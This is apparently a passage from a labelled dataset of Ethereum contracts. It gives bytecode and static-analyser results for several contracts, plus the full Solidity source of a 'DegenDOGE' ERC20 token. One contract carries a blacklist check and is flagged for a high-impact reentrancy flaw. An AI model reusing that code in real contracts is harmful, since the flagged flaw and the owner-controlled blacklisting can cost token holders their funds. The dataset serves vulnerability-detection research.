801561148357506001600160a01b03821660009081526010602052604090205460ff16155b6114f55760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201527f6564210000000000000000000000000000000000000000000000000000000000606482015260840161067e565b6015546001600160a01b038381169116146115945760175481611517846108df565b6115219190612377565b106115945760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c657420736960448201527f7a65210000000000000000000000000000000000000000000000000000000000606482015260840161067e565b600061159f306108df565b6018546016549192508210159082106115b85760165491505b8080156115e157506015547501000000000000000000000000000000000000000000900460ff16155b80156115fb57506015546001600160a01b03868116911614155b80156116235750601554760100000000000000000000000000000000000000000000900460ff165b801561164857506001600160a01b03851660009081526005602052604090205460ff16155b801561166d57506001600160a01b03841660009081526005602052604090205460ff16155b1561168d5761167b826118a2565b47801561168b5761168b476117d1565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff16806116d257506001600160a01b03831660009081526005602052604090205460ff165b8061170457506015546001600160a01b0385811691161480159061170457506015546001600160a01b03848116911614155b156117115750600061178b565b6015546001600160a01b03858116911614801561173c57506014546001600160a01b03848116911614155b1561174e57600854600c55600954600d555b6015546001600160a01b03848116911614801561177957506014546001600160a01b03858116911614155b1561178b57600a54600c55600b54600d555b610ea584848484611aa5565b600081848411156117bb5760405162461bcd60e51b815260040161067e91906120b0565b5060006117c8848661238f565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156106ef573d6000803e3d6000fd5b60006006548211156118855760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201527f65666c656374696f6e7300000000000000000000000000000000000000000000606482015260840161067e565b600061188f611ad3565b905061189b8382611af6565b9392505050565b601580547fffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffffff1675010000000000000000000000000000000000000000001790556040805160028082526060820183526000926020830190803683370190505090503081600081518110611917576119176122e0565b6001600160a01b03928316602091820292909201810191909152601454604080517fad5c46480000000000000000000000000000000000000000000000000000000081529051919093169263ad5c4648926004808301939192829003018186803b15801561198457600080fd5b505afa158015611998573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119bc91906123a6565b816001815181106119cf576119cf6122e0565b6001600160a01b0392831660209182029290920101526014546119f59130911684611053565b6014546040517f791ac9470000000000000000000000000000000000000000000000000000000081526001600160a01b039091169063791ac94790611a479085906000908690309042906004016123c3565b600060405180830381600087803b158015611a6157600080fd5b505af1158015611a75573d6000803e3d6000fd5b5050601580547fffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffffff16905550505050565b80611ab257611ab2611b38565b611abd848484611b66565b80610ea557610ea5600e54600c55600f54600d55565b6000806000611ae0611c5d565b9092509050611aef8282611af6565b9250505090565b600061189b83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611c9f565b600c54158015611b485750600d54155b15611b4f57565b600c8054600e55600d8054600f5560009182905555565b600080600080600080611b7887611ccd565b6001600160a01b038f16600090815260026020526040902054959b50939950919750955093509150611baa9087611d2a565b6001600160a01b03808b1660009081526002602052604080822093909355908a1681522054611bd99086611d6c565b6001600160a01b038916600090815260026020526040902055611bfb81611dcb565b611c058483611e15565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611c4a91815260200190565b60405180910390a3505050505050505050565b6006546000908190683635c9adc5dea00000611c798282611af6565b821015611c9657505060065492683635c9adc5dea0000092509050565b90939092509050565b60008183611cc05760405162461bcd60e51b815260040161067e91906120b0565b5060006117c88486612434565b6000806000806000806000806000611cea8a600c54600d54611e39565b9250925092506000611cfa611ad3565b90506000806000611d0d8e878787611e8e565b919e509c509a509598509396509194505050505091939550919395565b600061189b83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611797565b600080611d798385612377565b90508381101561189b5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161067e565b6000611dd5611ad3565b90506000611de38383611ede565b30600090815260026020526040902054909150611e009082611d6c565b30600090815260026020526040902055505050565b600654611e229083611d2a565b600655600754611e329082611d6c565b6007555050565b6000808080611e536064611e4d8989611ede565b90611af6565b90506000611e666064611e4d8a89611ede565b90506000611e7e82611e788b86611d2a565b90611d2a565b9992985090965090945050505050565b6000808080611e9d8886611ede565b90506000611eab8887611ede565b90506000611eb98888611ede565b90506000611ecb82611e788686611d2a565b939b939a50919850919650505050505050565b600082611eed57506000610704565b6000611ef9838561246f565b905082611f068583612434565b1461189b5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60448201527f7700000000000000000000000000000000000000000000000000000000000000606482015260840161067e565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6001600160a01b03811681146108dc57600080fd5b8035611fc881611fa8565b919050565b60006020808385031215611fe057600080fd5b823567ffffffffffffffff80821115611ff857600080fd5b818501915085601f83011261200c57600080fd5b81358181111561201e5761201e611f79565b8060051b6040517fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0603f8301168101818110858211171561206157612061611f79565b60405291825284820192508381018501918883111561207f57600080fd5b938501935b828510156120a45761209585611fbd565b84529385019392850192612084565b98975050505050505050565b600060208083528351808285015260005b818110156120dd578581018301518582016040015282016120c1565b818111156120ef576000604083870101525b50601f017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe016929092016040019392505050565b6000806040838503121561213657600080fd5b823561214181611fa8565b946020939093013593505050565b60008060006060848603121561216457600080fd5b833561216f81611fa8565b9250602084013561217f81611fa8565b929592945050506040919091013590565b6000602082840312156121a257600080fd5b813561189b81611fa8565b80358015158114611fc857600080fd5b6000602082840312156121cf57600080fd5b61189b826121ad565b6000602082840312156121ea57600080fd5b5035919050565b6000806000806080858703121561220757600080fd5b5050823594602084013594506040840135936060013592509050565b60008060006040848603121561223857600080fd5b833567ffffffffffffffff8082111561225057600080fd5b818601915086601f83011261226457600080fd5b81358181111561227357600080fd5b8760208260051b850101111561228857600080fd5b60209283019550935061229e91860190506121ad565b90509250925092565b600080604083850312156122ba57600080fd5b82356122c581611fa8565b915060208301356122d581611fa8565b809150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156123705761237061230f565b5060010190565b6000821982111561238a5761238a61230f565b500190565b6000828210156123a1576123a161230f565b500390565b6000602082840312156123b857600080fd5b815161189b81611fa8565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156124135784516001600160a01b0316835293830193918301916001016123ee565b50506001600160a01b03969096166060850152505050608001529392505050565b60008261246a577f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b500490565b6000817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156124a7576124a761230f565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220db7ffa0c72ff59797d77beea2664d9da5fbcbaa5522c4ee2b182cf288f71b74264736f6c63430008090033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}]}}
| 9,050 |
0xbe18fb23047be7c70e79692455bf2a58333056df
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract DegenDOGE is Ownable, IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply = 0;
string private _name = 'DegenDOGE';
string private _symbol = 'dDOGE';
uint8 private _decimals = 18;
uint256 public maxTxAmount = 1000000000000000e18;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor () public {
_mint(_msgSender(), 1000000000000000e18);
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
if(sender != owner() && recipient != owner())
require(amount <= maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
function setMaxTxAmount(uint256 _maxTxAmount) external onlyOwner() {
require(_maxTxAmount >= 10000e9 , 'maxTxAmount should be greater than 10000e9');
maxTxAmount = _maxTxAmount;
}
}
|
0x608060405234801561001057600080fd5b50600436106101005760003560e01c80638c0b5e2211610097578063a9059cbb11610066578063a9059cbb146104ae578063dd62ed3e14610512578063ec28438a1461058a578063f2fde38b146105b857610100565b80638c0b5e22146103755780638da5cb5b1461039357806395d89b41146103c7578063a457c2d71461044a57610100565b8063313ce567116100d3578063313ce5671461028e57806339509351146102af57806370a0823114610313578063715018a61461036b57610100565b806306fdde0314610105578063095ea7b31461018857806318160ddd146101ec57806323b872dd1461020a575b600080fd5b61010d6105fc565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561014d578082015181840152602081019050610132565b50505050905090810190601f16801561017a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101d46004803603604081101561019e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061069e565b60405180821515815260200191505060405180910390f35b6101f46106bc565b6040518082815260200191505060405180910390f35b6102766004803603606081101561022057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106c6565b60405180821515815260200191505060405180910390f35b61029661079f565b604051808260ff16815260200191505060405180910390f35b6102fb600480360360408110156102c557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506107b6565b60405180821515815260200191505060405180910390f35b6103556004803603602081101561032957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610869565b6040518082815260200191505060405180910390f35b6103736108b2565b005b61037d610a38565b6040518082815260200191505060405180910390f35b61039b610a3e565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6103cf610a67565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561040f5780820151818401526020810190506103f4565b50505050905090810190601f16801561043c5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104966004803603604081101561046057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b09565b60405180821515815260200191505060405180910390f35b6104fa600480360360408110156104c457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610bd6565b60405180821515815260200191505060405180910390f35b6105746004803603604081101561052857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610bf4565b6040518082815260200191505060405180910390f35b6105b6600480360360208110156105a057600080fd5b8101908080359060200190929190505050610c7b565b005b6105fa600480360360208110156105ce57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610dac565b005b606060048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156106945780601f1061066957610100808354040283529160200191610694565b820191906000526020600020905b81548152906001019060200180831161067757829003601f168201915b5050505050905090565b60006106b26106ab61103f565b8484611047565b6001905092915050565b6000600354905090565b60006106d384848461123e565b610794846106df61103f565b61078f8560405180606001604052806028815260200161178360289139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061074561103f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115da9092919063ffffffff16565b611047565b600190509392505050565b6000600660009054906101000a900460ff16905090565b600061085f6107c361103f565b8461085a85600260006107d461103f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fb790919063ffffffff16565b611047565b6001905092915050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6108ba61103f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461097a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60075481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610aff5780601f10610ad457610100808354040283529160200191610aff565b820191906000526020600020905b815481529060010190602001808311610ae257829003601f168201915b5050505050905090565b6000610bcc610b1661103f565b84610bc7856040518060600160405280602581526020016117f46025913960026000610b4061103f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115da9092919063ffffffff16565b611047565b6001905092915050565b6000610bea610be361103f565b848461123e565b6001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610c8361103f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d43576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6509184e72a000811015610da2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a815260200180611731602a913960400191505060405180910390fd5b8060078190555050565b610db461103f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e74576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610efa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806116c36026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600080828401905083811015611035576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156110cd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806117d06024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611153576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806116e96022913960400191505060405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156112c4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806117ab6025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561134a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806116a06023913960400191505060405180910390fd5b611352610a3e565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156113c05750611390610a3e565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561142157600754811115611420576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602881526020018061175b6028913960400191505060405180910390fd5b5b61142c83838361169a565b6114988160405180606001604052806026815260200161170b60269139600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115da9092919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061152d81600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fb790919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290611687576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561164c578082015181840152602081019050611631565b50505050905090810190601f1680156116795780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b50505056fe45524332303a207472616e7366657220746f20746865207a65726f20616464726573734f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e63656d61785478416d6f756e742073686f756c642062652067726561746572207468616e20313030303065395472616e7366657220616d6f756e74206578636565647320746865206d61785478416d6f756e742e45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa264697066735822122020744b2d89ec3ce18463f21182f21e9091d1d80e747bede76d123ebaf82ffa9d64736f6c634300060c0033
|
{"success": true, "error": null, "results": {}}
| 9,051 |
0xee10adcf689a0a74f1a8c60a4af66fd35040254d
|
pragma solidity ^0.4.18;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
